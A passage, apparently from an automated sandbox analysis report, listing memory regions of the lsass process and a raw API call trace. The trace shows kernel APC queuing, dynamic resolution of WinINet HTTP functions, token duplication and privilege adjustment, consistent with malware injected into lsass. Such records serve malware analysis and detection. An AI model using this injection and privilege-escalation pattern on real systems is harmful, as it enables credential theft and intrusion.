0x7feffb50000 end_va = 0x7feffb66fff entry_point = 0x7feffb51070 region_type = mapped_file name = "imagehlp.dll" filename = "\\Windows\\System32\\imagehlp.dll" Region: id = 745 start_va = 0x77e20000 end_va = 0x77e26fff entry_point = 0x77e2106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" Region: id = 746 start_va = 0x980000 end_va = 0xc4efff entry_point = 0x980000 region_type = mapped_file name = "SortDefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" Region: id = 751 start_va = 0x10000 end_va = 0x10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 752 start_va = 0xd10000 end_va = 0xd8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d10000" filename = "" Region: id = 753 start_va = 0x7fefd6a0000 end_va = 0x7fefd70cfff entry_point = 0x7fefd6a1010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" Region: id = 754 start_va = 0x7fefd710000 end_va = 0x7fefd723fff entry_point = 0x7fefd714160 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" Region: id = 755 start_va = 0x7fefd730000 end_va = 0x7fefd7ecfff entry_point = 0x7fefd73107c region_type = mapped_file name = "samsrv.dll" filename = "\\Windows\\System32\\samsrv.dll" Region: id = 756 start_va = 0x7fefd7f0000 end_va = 0x7fefd956fff entry_point = 0x7fefd7f48e4 region_type = mapped_file name = "lsasrv.dll" filename = "\\Windows\\System32\\lsasrv.dll" Region: id = 757 start_va = 0x7fefda60000 end_va = 0x7fefda84fff entry_point = 0x7fefda69658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" Region: id = 758 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 759 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 760 start_va = 0xa0000 end_va = 0xaffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 761 start_va = 0xc90000 end_va = 0xd0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c90000" filename = "" Region: id = 762 start_va = 0x7fefd660000 end_va = 0x7fefd68efff entry_point = 0x7fefd661064 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" Region: id = 763 start_va = 0x7fefd690000 end_va = 0x7fefd698fff entry_point = 0x7fefd691040 region_type = mapped_file name = "cngaudit.dll" filename = "\\Windows\\System32\\cngaudit.dll" Region: id = 764 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 765 start_va = 0x7fefd5e0000 end_va = 0x7fefd601fff entry_point = 0x7fefd5e5d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" Region: id = 766 start_va = 0x7fefd610000 end_va = 0x7fefd65dfff entry_point = 0x7fefd6111e0 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" Region: id = 767 start_va = 0xb0000 end_va = 0xb6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000b0000" filename = "" Region: id = 768 start_va = 0xc0000 end_va = 0xc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 769 start_va = 0xe30000 end_va = 0xeaffff entry_point = 0x0 region_type = private name = "private_0x0000000000e30000" filename = "" Region: id = 770 start_va = 0xec0000 end_va = 0xf3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ec0000" filename = "" Region: id = 771 start_va = 0xf40000 end_va = 0x1332fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f40000" filename = "" Region: id = 772 start_va = 0x1350000 end_va = 0x13cffff entry_point = 0x0 region_type = private name = "private_0x0000000001350000" filename = "" Region: id = 773 start_va = 0x75970000 end_va = 0x75971fff entry_point = 0x75970000 region_type = mapped_file name = "msprivs.dll" filename = "\\Windows\\System32\\msprivs.dll" Region: id = 774 start_va = 0x7fefd5a0000 end_va = 0x7fefd5d1fff entry_point = 0x7fefd5a144c region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" Region: id = 775 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 776 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 777 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 778 start_va = 0x7fefd570000 end_va = 0x7fefd593fff entry_point = 0x7fefd5888c4 region_type = mapped_file name = "negoexts.dll" filename = "\\Windows\\System32\\negoexts.dll" Region: id = 779 start_va = 0x7fefda00000 end_va = 0x7fefda0afff entry_point = 0x7fefda01030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" Region: id = 780 start_va = 0x7fefd4b0000 end_va = 0x7fefd563fff entry_point = 0x7fefd4d6a78 region_type = mapped_file name = "kerberos.dll" filename = "\\Windows\\System32\\kerberos.dll" Region: id = 781 start_va = 0x7fefda90000 end_va = 0x7fefda9efff entry_point = 0x7fefda91010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" Region: id = 782 start_va = 0x7a0000 end_va = 0x7affff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007a0000" filename = "" Region: id = 783 start_va = 0x7fefd490000 end_va = 0x7fefd4a6fff entry_point = 0x7fefd4932b8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" Region: id = 784 start_va = 0x7feff1e0000 end_va = 0x7feff22cfff entry_point = 0x7feff1e1070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" Region: id = 785 start_va = 0x7feffce0000 end_va = 0x7feffce7fff entry_point = 0x7feffce1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" Region: id = 786 start_va = 0x1400000 end_va = 0x147ffff entry_point = 0x0 region_type = private name = "private_0x0000000001400000" filename = "" Region: id = 787 start_va = 0x7fefd430000 end_va = 0x7fefd484fff entry_point = 0x7fefd431054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" Region: id = 788 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 789 start_va = 0x7fefd420000 end_va = 0x7fefd426fff entry_point = 0x7fefd42142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" Region: id = 790 start_va = 0x7fefd3c0000 end_va = 0x7fefd410fff entry_point = 0x7fefd3cd578 region_type = mapped_file name = "msv1_0.dll" filename = "\\Windows\\System32\\msv1_0.dll" Region: id = 791 start_va = 0x7fefd280000 end_va = 0x7fefd2affff entry_point = 0x7fefd28194c region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" Region: id = 792 start_va = 0x7fefd2b0000 end_va = 0x7fefd30afff entry_point = 0x7fefd2b6940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" Region: id = 793 start_va = 0x7fefd310000 end_va = 0x7fefd3bdfff entry_point = 0x7fefd324100 region_type = mapped_file name = "netlogon.dll" filename = "\\Windows\\System32\\netlogon.dll" Region: id = 794 start_va = 0x1650000 end_va = 0x16cffff entry_point = 0x0 region_type = private name = "private_0x0000000001650000" filename = "" Region: id = 795 start_va = 0x7fefd220000 end_va = 0x7fefd276fff entry_point = 0x7fefd229028 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" Region: id = 796 start_va = 0x7fefd1e0000 end_va = 0x7fefd215fff entry_point = 0x7fefd1e1b60 region_type = mapped_file name = "wdigest.dll" filename = "\\Windows\\System32\\wdigest.dll" Region: id = 797 start_va = 0x7b0000 end_va = 0x7c0fff entry_point = 0x7b0000 region_type = mapped_file name = "C_28591.NLS" filename = "\\Windows\\System32\\C_28591.NLS" Region: id = 798 start_va = 0x7fefd190000 end_va = 0x7fefd1d6fff entry_point = 0x7fefd191064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" Region: id = 799 start_va = 0x7fefd170000 end_va = 0x7fefd187fff entry_point = 0x7fefd17122c region_type = mapped_file name = "TSpkg.dll" filename = "\\Windows\\System32\\TSpkg.dll" Region: id = 800 start_va = 0x7fefd120000 end_va = 0x7fefd164fff entry_point = 0x7fefd152ccc region_type = mapped_file name = "pku2u.dll" filename = "\\Windows\\System32\\pku2u.dll" Region: id = 801 start_va = 0x7fefd0d0000 end_va = 0x7fefd11bfff entry_point = 0x7fefd0d7950 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" Region: id = 802 start_va = 0x7d0000 end_va = 0x7d0fff entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 803 start_va = 0x7fefd0b0000 end_va = 0x7fefd0c1fff entry_point = 0x7fefd0bb750 region_type = mapped_file name = "efslsaext.dll" filename = "\\Windows\\System32\\efslsaext.dll" Region: id = 804 start_va = 0x7fefdb40000 end_va = 0x7fefdb53fff entry_point = 0x7fefdb410e0 region_type = mapped_file name = "RpcRtRemote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" Region: id = 805 start_va = 0x7e0000 end_va = 0x7e0fff entry_point = 0x0 region_type = private name = "private_0x00000000007e0000" filename = "" Region: id = 806 start_va = 0x870000 end_va = 0x870fff entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 807 start_va = 0x880000 end_va = 0x880fff entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 808 start_va = 0x890000 end_va = 0x890fff entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 809 start_va = 0x8a0000 end_va = 0x8a0fff entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 810 start_va = 0x8b0000 end_va = 0x8b0fff entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 811 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 812 start_va = 0x8d0000 end_va = 0x8d0fff entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 813 start_va = 0x7fefd0a0000 end_va = 0x7fefd0a9fff entry_point = 0x7fefd0a3cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" Region: id = 814 start_va = 0x8e0000 end_va = 0x8e0fff entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 815 start_va = 0x14c0000 end_va = 0x153ffff entry_point = 0x0 region_type = private name = "private_0x00000000014c0000" filename = "" Region: id = 816 start_va = 0x7fefd070000 end_va = 0x7fefd0adfff entry_point = 0x7fefd071040 region_type = mapped_file name = "scecli.dll" filename = "\\Windows\\System32\\scecli.dll" Region: id = 817 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 818 start_va = 0x1750000 end_va = 0x17cffff entry_point = 0x0 region_type = private name = "private_0x0000000001750000" filename = "" Region: id = 819 start_va = 0x7fefd060000 end_va = 0x7fefd069fff entry_point = 0x7fefd063cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" Region: id = 820 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 832 start_va = 0x8f0000 end_va = 0x96ffff entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 833 start_va = 0x7fefdb60000 end_va = 0x7fefdb9cfff entry_point = 0x7fefdb618f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" Region: id = 1757 start_va = 0x1480000 end_va = 0x157ffff entry_point = 0x0 region_type = private name = "private_0x0000000001480000" filename = "" Region: id = 1758 start_va = 0x1580000 end_va = 0x15fffff entry_point = 0x0 region_type = private name = "private_0x0000000001580000" filename = "" Region: id = 1759 start_va = 0x1700000 end_va = 0x177ffff entry_point = 0x0 region_type = private name = "private_0x0000000001700000" filename = "" Region: id = 1760 start_va = 0x7fefb680000 end_va = 0x7fefb68afff entry_point = 0x7fefb681198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" Region: id = 1761 start_va = 0x7fefb690000 end_va = 0x7fefb6b6fff entry_point = 0x7fefb6998bc region_type = mapped_file name = "IPHLPAPI.DLL" filename = "\\Windows\\System32\\IPHLPAPI.DLL" Region: id = 1762 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 1763 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1852 start_va = 0xda0000 end_va = 0xe1ffff entry_point = 0x0 region_type = private name = "private_0x0000000000da0000" filename = "" Region: id = 1853 start_va = 0x7fefbdb0000 end_va = 0x7fefbdbbfff entry_point = 0x7fefbdb18a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" Region: id = 1854 start_va = 0x7fefcf50000 end_va = 0x7fefcf6dfff entry_point = 0x7fefcf513b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" Region: id = 1855 start_va = 0x7fefdba0000 end_va = 0x7fefdbaefff entry_point = 0x7fefdba19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" Region: id = 1856 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Thread: id = 87 os_tid = 0x1e8 [0073.898] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Device\\HarddiskVolume1\\Windows\\System32\\lsass.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.898] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.905] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0073.905] IoIs32bitProcess (Irp=0x0) returned 0 [0073.905] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa8003550510 [0073.905] KeInitializeApc (Apc=0xfffffa8003550510, Thread=0xfffffa8003558350, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027cb10c, RundownRoutine=0x0, NormalRoutine=0x0, Mode=0xffff4a0800000000, Context=0x0) [0073.905] KeInsertQueueApc (Apc=0xfffffa8003550510, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0073.905] ExFreePoolWithTag (P=0xfffffa8003550510, Tag=0x0) [0073.905] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x478) returned 0xfffffa800356f830 [0073.905] IoGetCurrentProcess () returned 0xfffffa8003558b30 [0073.905] PsGetCurrentProcessId () returned 0x1e4 [0073.905] IoIs32bitProcess (Irp=0x0) returned 0 [0073.905] KeInitializeEvent (in: Event=0xfffffa800356f870, Type=0x0, State=0 | out: Event=0xfffffa800356f870) [0073.905] ExQueueWorkItem (in: WorkItem=0xfffffa800356f830*(List.Flink=0x0, List.Blink=0x41cc, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa800356f830), QueueType=0x1 | out: WorkItem=0xfffffa800356f830*(List.Flink=0x0, List.Blink=0x41cc, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa800356f830)) [0073.907] KeWaitForMutexObject () returned 0x0 [0073.929] ExFreePoolWithTag (P=0xfffffa800356f830, Tag=0x0) [0073.929] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\KernelBase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.933] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msvcrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.934] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rpcrt4.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.938] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sspisrv.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.184] LoadLibraryExA (lpLibFileName="KERNEL32", hFile=0x0, dwFlags=0x0) returned 0x77a30000 [0074.184] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0074.184] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0074.184] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x0) returned 0x77c50000 [0074.184] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0074.184] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefef80000 [0074.185] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wininet.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.185] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shlwapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.185] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gdi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.186] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\user32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.186] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\lpk.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.187] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\usp10.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.188] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\advapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.188] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sechost.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.189] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\urlmon.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.190] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ole32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.190] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\oleaut32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.191] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\crypt32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.191] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msasn1.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.192] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\iertutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.194] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imm32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.195] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msctf.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.344] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0074.344] LoadLibraryExA (lpLibFileName="SHLWAPI.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff4f0000 [0074.344] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0074.344] LoadLibraryExA (lpLibFileName="imagehlp.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffb50000 [0074.344] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imagehlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.345] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0074.345] LoadLibraryExA (lpLibFileName="PSAPI.DLL", hFile=0x0, dwFlags=0x0) returned 0x77e20000 [0074.346] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\psapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.346] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0074.346] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefed20000 [0074.347] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0074.347] LoadLibraryExA (lpLibFileName="USER32.dll", hFile=0x0, dwFlags=0x0) returned 0x77b50000 [0074.347] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0074.347] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff940000 [0074.347] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0074.349] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x77a30000 [0074.349] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualProtect") returned 0x77a32ef0 [0074.349] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0x14f428 | out: lpflOldProtect=0x14f428*=0x40) returned 1 [0074.349] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x40, lpflOldProtect=0x14f428 | out: lpflOldProtect=0x14f428*=0x4) returned 1 [0074.349] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c50000 [0074.349] GetProcAddress (hModule=0x77c50000, lpProcName="_strlwr") returned 0x77cd8fb0 [0074.349] GetProcAddress (hModule=0x77c50000, lpProcName="RtlTimeToSecondsSince1970") returned 0x77c67c30 [0074.349] GetProcAddress (hModule=0x77c50000, lpProcName="RtlRandom") returned 0x77cf4a40 [0074.349] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageDirectoryEntryToData") returned 0x77c80950 [0074.349] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageNtHeader") returned 0x77c7ecb0 [0074.349] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAllocateVirtualMemory") returned 0x77ca1490 [0074.349] GetProcAddress (hModule=0x77c50000, lpProcName="ZwFreeVirtualMemory") returned 0x77ca14f0 [0074.349] GetProcAddress (hModule=0x77c50000, lpProcName="sscanf") returned 0x77cda974 [0074.349] GetProcAddress (hModule=0x77c50000, lpProcName="_snwprintf") returned 0x77cd8b8c [0074.350] GetProcAddress (hModule=0x77c50000, lpProcName="_stricmp") returned 0x77c8c5ec [0074.350] GetProcAddress (hModule=0x77c50000, lpProcName="RtlEqualUnicodeString") returned 0x77ca59a0 [0074.350] GetProcAddress (hModule=0x77c50000, lpProcName="ZwQuerySystemInformation") returned 0x77ca1670 [0074.350] GetProcAddress (hModule=0x77c50000, lpProcName="ZwSetInformationToken") returned 0x77ca2920 [0074.350] GetProcAddress (hModule=0x77c50000, lpProcName="ZwDuplicateToken") returned 0x77ca1730 [0074.350] GetProcAddress (hModule=0x77c50000, lpProcName="ZwClose") returned 0x77ca1400 [0074.350] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAdjustPrivilegesToken") returned 0x77ca1720 [0074.350] GetProcAddress (hModule=0x77c50000, lpProcName="ZwOpenProcessToken") returned 0x77ca22d0 [0074.350] GetProcAddress (hModule=0x77c50000, lpProcName="strstr") returned 0x77cdac00 [0074.350] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0074.350] GetProcAddress (hModule=0x77c50000, lpProcName="sprintf") returned 0x77cda738 [0074.350] GetProcAddress (hModule=0x77c50000, lpProcName="strncat") returned 0x77c9fc40 [0074.350] GetProcAddress (hModule=0x77c50000, lpProcName="strchr") returned 0x77c7c900 [0074.350] GetProcAddress (hModule=0x77c50000, lpProcName="strrchr") returned 0x77cdab0c [0074.350] GetProcAddress (hModule=0x77c50000, lpProcName="ispunct") returned 0x77cd8620 [0074.350] GetProcAddress (hModule=0x77c50000, lpProcName="isalnum") returned 0x77cd8644 [0074.350] GetProcAddress (hModule=0x77c50000, lpProcName="strncpy") returned 0x77c9fec0 [0074.351] GetProcAddress (hModule=0x77c50000, lpProcName="RtlComputeCrc32") returned 0x77c5c7b0 [0074.351] GetProcAddress (hModule=0x77c50000, lpProcName="_snprintf") returned 0x77cd8ae0 [0074.351] GetProcAddress (hModule=0x77c50000, lpProcName="memcmp") returned 0x77c9ea60 [0074.351] GetProcAddress (hModule=0x77c50000, lpProcName="__chkstk") returned 0x77ca0dd0 [0074.351] GetProcAddress (hModule=0x77c50000, lpProcName="strncmp") returned 0x77c9fdf0 [0074.351] GetProcAddress (hModule=0x77c50000, lpProcName="atoi") returned 0x77c565e4 [0074.351] GetProcAddress (hModule=0x77c50000, lpProcName="memset") returned 0x77ca2ed0 [0074.351] GetProcAddress (hModule=0x77c50000, lpProcName="memcpy") returned 0x77c9e6d0 [0074.351] GetModuleHandleA (lpModuleName="WININET.dll") returned 0x7fefef80000 [0074.351] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetReadFile") returned 0x7fefef93914 [0074.351] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpQueryInfoW") returned 0x7fefefb4600 [0074.351] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetSetOptionW") returned 0x7fefef8ff20 [0074.351] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetQueryOptionW") returned 0x7fefefa1ab8 [0074.351] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpSendRequestA") returned 0x7fefefff600 [0074.352] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpOpenRequestA") returned 0x7fefefb3910 [0074.352] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetConnectA") returned 0x7fefefb3130 [0074.352] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0074.352] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCloseHandle") returned 0x7fefef95594 [0074.352] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCrackUrlA") returned 0x7fefefe0b4c [0074.352] GetModuleHandleA (lpModuleName="SHLWAPI.dll") returned 0x7feff4f0000 [0074.352] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0074.352] GetProcAddress (hModule=0x7feff4f0000, lpProcName="SHGetValueA") returned 0x7feff4f4e50 [0074.352] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindFileNameA") returned 0x7feff4f86c4 [0074.352] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveBackslashA") returned 0x7feff519e70 [0074.352] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindExtensionA") returned 0x7feff51b358 [0074.352] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFileExistsA") returned 0x7feff51b4d4 [0074.352] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathAppendA") returned 0x7feff4f5710 [0074.353] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveFileSpecA") returned 0x7feff51bbb4 [0074.353] GetModuleHandleA (lpModuleName="imagehlp.dll") returned 0x7feffb50000 [0074.353] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0074.353] GetModuleHandleA (lpModuleName="PSAPI.DLL") returned 0x77e20000 [0074.353] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0074.353] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x77a30000 [0074.353] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileA") returned 0x77a531f0 [0074.353] GetProcAddress (hModule=0x77a30000, lpProcName="SystemTimeToFileTime") returned 0x77a53560 [0074.353] GetProcAddress (hModule=0x77a30000, lpProcName="GetVersionExA") returned 0x77a470c0 [0074.353] GetProcAddress (hModule=0x77a30000, lpProcName="GetLocaleInfoA") returned 0x77a40210 [0074.353] GetProcAddress (hModule=0x77a30000, lpProcName="GetWindowsDirectoryA") returned 0x77a7bfb0 [0074.353] GetProcAddress (hModule=0x77a30000, lpProcName="GetTickCount") returned 0x77a52b00 [0074.353] GetProcAddress 